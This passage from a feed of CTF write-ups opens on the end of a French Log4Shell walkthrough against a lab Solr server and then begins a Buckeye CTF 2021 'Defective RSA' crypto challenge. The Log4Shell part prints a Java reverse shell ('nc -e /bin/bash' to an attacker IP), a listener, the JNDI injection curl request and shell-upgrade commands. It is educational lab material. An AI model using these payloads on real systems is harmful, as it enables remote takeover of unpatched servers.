z-java&quot;&gt;exec&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-begin z-java&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-java&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-java&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;nc -e &#x2F;bin&#x2F;bash 10.9.77.76 1234&lt;span class=&quot;z-punctuation z-definition z-string z-end z-java&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-end z-java&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-java&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;&lt;span class=&quot;z-meta z-static z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;        &lt;span class=&quot;z-punctuation z-section z-block z-end z-java&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-catch z-java&quot;&gt;&lt;span class=&quot;z-keyword z-control z-exception z-catch z-java&quot;&gt;catch&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-catch z-parameters z-java&quot;&gt;&lt;span class=&quot;z-meta z-parens z-java&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-begin z-java&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-class z-java&quot;&gt;Exception&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-parameter z-java&quot;&gt;e&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-end z-java&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-block z-java&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-java&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;&lt;span class=&quot;z-meta z-static z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;            e&lt;span class=&quot;z-punctuation z-accessor z-dot z-java&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-java&quot;&gt;&lt;span class=&quot;z-variable z-function z-java&quot;&gt;printStackTrace&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-begin z-java&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-end z-java&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-java&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;&lt;span class=&quot;z-meta z-static z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;        &lt;span class=&quot;z-punctuation z-section z-block z-end z-java&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;&lt;span class=&quot;z-meta z-static z-body z-java&quot;&gt;    &lt;span class=&quot;z-punctuation z-section z-block z-end z-java&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-java&quot;&gt;&lt;span class=&quot;z-meta z-class z-body z-java&quot;&gt;&lt;span class=&quot;z-meta z-block z-java&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-java&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Lancer le serveur python&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash z-code&quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;python3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;m&lt;&#x2F;span&gt; http.server&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Ouvrir la connexion du reverse shell:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;nc -lnvp 1234
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Exécuter:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash z-code&quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt; &lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;curl&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; &lt;span class=&quot;z-string z-quoted z-single z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;http:&#x2F;&#x2F;10.10.91.84:8983&#x2F;solr&#x2F;admin&#x2F;cores?foo=$\{jndi:ldap:&#x2F;&#x2F;10.9.77.76:1389&#x2F;Exploit\}&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Résultat: on a un shell&lt;&#x2F;p&gt;
&lt;p&gt;À noter qu&#x27;il n&#x27;y a pas de &quot;décoration&quot; du shell au départ, mais qu&#x27;on peut quand même exécuter des commandes.&lt;&#x2F;p&gt;
&lt;p&gt;Pour rendre &quot;user-friendly&quot; le shell on peut lancer cette commande:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash z-code&quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;python3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;c&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;import pty; pty.spawn(&amp;#39;&#x2F;bin&#x2F;bash&amp;#39;)&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Defective RSA</title>
        <published>2021-10-27T00:00:00+00:00</published>
        <updated>2021-10-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            leonard-besseau
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/buckeye/defective-rsa/"/>
        <id>https://yctf.ch/writeups/buckeye/defective-rsa/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/buckeye/defective-rsa/">&lt;h2 id=&quot;buckeye-ctf-2021&quot;&gt;Buckeye CTF 2021&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;I use whatever exponent I want&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We are given the file (chall.py).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python z-code&quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-from z-python&quot;&gt;from&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-source z-python&quot;&gt; &lt;span class=&quot;z-meta z-import-path z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;Crypto&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;Util&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;number&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-python&quot;&gt;import&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;getPrime&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-import-list z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;inverse&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-import-list z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;bytes_to_long&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1440&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;p&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;getPrime&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1024&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;q&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;getPrime&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1024&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;n&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;p&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;*&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;q&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-storage z-type z-string z-python&quot;&gt;b&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;buckeye{???????????????????????????????}&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;pow&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;bytes_to_long&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;n&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type z-string z-python&quot;&gt;f&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-interpolated z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-interpolated z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;e = &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-interpolation z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-interpolation z-begin z-python&quot;&gt;{&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python z-embedded&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-interpolation z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-interpolation z-end z-python&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type z-string z-python&quot;&gt;f&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-interpolated z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-interpolated z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;p = &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-interpolation z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-interpolation z-begin z-python&quot;&gt;{&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python z-embedded&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;p&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-interpolation z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-interpolation z-end z-python&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type z-string z-python&quot;&gt;f&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-interpolated z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-interpolated z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;q = &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-interpolation z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-interpolation z-begin z-python&quot;&gt;{&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python z-embedded&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;q&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-interpolation z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-interpolation z-end z-python&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type z-string z-python&quot;&gt;f&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-interpolated z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-interpolated z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;c = &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-interpolation z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-interpolation z-begin z-python&quot;&gt;{&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python z-embedded&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-interpolation z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-interpolation z-end z-python&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; e = 1440
